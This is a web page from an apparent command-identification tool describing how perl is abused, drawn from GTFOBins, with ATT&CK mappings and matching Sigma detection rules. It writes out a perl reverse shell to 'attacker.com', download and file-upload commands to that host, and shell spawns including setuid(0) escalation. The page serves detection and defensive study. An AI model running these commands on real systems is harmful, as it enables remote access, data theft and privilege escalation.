Ceplin Command Identifier

Identifier / Programs / Linux and Unix

perl

The Perl 5 language interpreter. tldr-pages

GTFOBins download, file-read, reverse-shell, shell, upload 5 Sigma rules name it 2 ATT&CK techniques 6 documented commands

Opens the identifier with your command. It is read in your browser and sent nowhere.

How perl is abused

documented by GTFOBins

download T1105 Ingress Tool Transfer

-MIO
-e

file-read

-ne

reverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell

-e

shell T1059.004 Command and Scripting Interpreter: Unix Shell

-e

upload

-MIO
-e

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for perl.

6 documented commands

from GTFOBins, each read by the identifier

download unprivileged, with sudo

perl -MIO::Socket::INET -e '$s=new IO::Socket::INET(PeerAddr=>"attacker.com",PeerPort=>80,Proto=>"tcp") or die; print $s "GET /path/to/input-file HTTP/1.1\r\nHost: attacker.com\r\nMetadata: true\r\nConnection: close\r\n\r\n"; open(my $fh, ">", "/path/to/output-file") or die; $in_content = 0; while (<$s>) { if ($in_content) { print $fh $_; } elsif ($_ eq "\r\n") { $in_content = 1; } } close($s); close($fh);'
Identify

Trips no Sigma process-creation rule.

file-read unprivileged, with sudo, as SUID

perl -ne print /path/to/input-file
Identify

Trips no Sigma process-creation rule.

reverse-shell unprivileged, with sudo

perl -e 'use Socket;$i="attacker.com";$p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Identify

Trips 1 Sigma rule: highPotential Perl Reverse Shell Execution by @d4ns4n_, Nasreddine Bencherchali (Nextron Systems)

shell unprivileged, with sudo, with capabilities

perl -e 'exec "/bin/sh"'
Identify

With capabilities:

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh"'

Trips no Sigma process-creation rule.

shell unprivileged, with sudo

The /dev/null part can be omitted, just use Ctrl-D in order to spawn the shell.

PERL5OPT=-d PERL5DB='exec "/bin/sh"' perl /dev/null
Identify

Trips no Sigma process-creation rule.

upload unprivileged, with sudo

perl -MIO::Socket::INET -e '$s = new IO::Socket::INET(PeerAddr=>"attacker.com", PeerPort=>80, Proto=>"tcp") or die;open(my $file, "<", "/path/to/input-file") or die;$content = join("", <$file>);close($file);$headers = "POST / HTTP/1.1\r\nHost: attacker.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " . length($content) . "\r\nConnection: close\r\n\r\n";print $s $headers . $content;while (<$s>) { }close($s);'
Identify

Trips no Sigma process-creation rule.

1 of the 6 commands the identifier reads trips a Sigma process-creation rule; 5 trip none. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for perl. The identifier reads the line of each that runs perl.

What detects it

Sigma process creation rules
highPotential Perl Reverse Shell Execution@d4ns4n_, Nasreddine Bencherchali (Nextron Systems)
highLinux Suspicious Child Process from Node.js - React2ShellSwachchhanda Shrawan Poudel (Nextron Systems), Nasreddine Bencherchali
mediumSuspicious Child Process of SAP NetWeaver - LinuxElastic (idea), Swachchhanda Shrawan Poudel (Nextron Systems)
T1059.004Command and Scripting Interpreter: Unix Shell
T1105Ingress Tool Transfer

Everyday use

from tldr-pages, CC BY 4.0

Print lines from stdin matching regex1 and case insensitive regex2

perl -n -e 'print if m/regex1/ and m/regex2/i'Identify

Say ([-E]) first match group, using a regex, ignoring space (x) in regex

perl -n -E 'say $1 if m/before ( group_regex ) after/x'Identify

in-place, with backup, substitute all occurrence (g) of regex with a replacement

perl -i'.bak' -p -e 's/regex/replacement/g' path/to/filesIdentify

None of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.